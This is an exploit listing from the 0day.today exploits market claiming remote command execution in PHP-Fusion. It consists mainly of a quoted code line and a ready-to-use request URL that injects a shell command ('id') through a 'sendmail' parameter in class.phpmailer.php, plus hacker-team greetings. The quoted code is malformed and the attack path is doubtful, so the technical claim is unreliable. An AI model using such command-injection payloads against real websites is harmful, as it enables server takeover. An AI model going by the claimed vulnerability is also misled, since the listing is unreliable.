[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PHP-Fusion Remote Command Execution Vulnerability

Author
ViRuS Qalaa
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-13392
Category
web applications
Date add
18-07-2010
Platform
php
=================================================
PHP-Fusion Remote Command Execution Vulnerability
=================================================


# Exploit Title:   PHP-Fusion Remote Command Execution Vulnerability
# Date: 2010/07/19
# Author: ViRuS Qalaa
# Email: em9@live.com
# My Sites : www.pal-mafia.com & www.vbspiders.com
# Script home: http://www.phpfusion-ar.com
# download Script:
http://www.phpfusion-ar.com/downloads.php?cat_id=1&download_id=91
# Version:all
# Tested on: Windows
# Team hacker:ViRuS Qalaa & HaCkEr aRaR >>>X-MaN HaCk3r TeaM
:::::::::::::::::::::::::
=================Exploit=================
 
-=[ vuln c0de ]=-
popen($sendmail, 'w'))
/includes/class.phpmailer.php
Line:438
 
----exploit----
 
http://{localhost}/{path}/includes/class.phpmailer.php?sendmail=id
 
---------greatz----------
Greatz to :
hacker arar,ViRuS KSA,Q2,Spy-iq
 
and My friends Others and My friends in MSN
EnJoY o_O



#  0day.today [2024-11-15]  #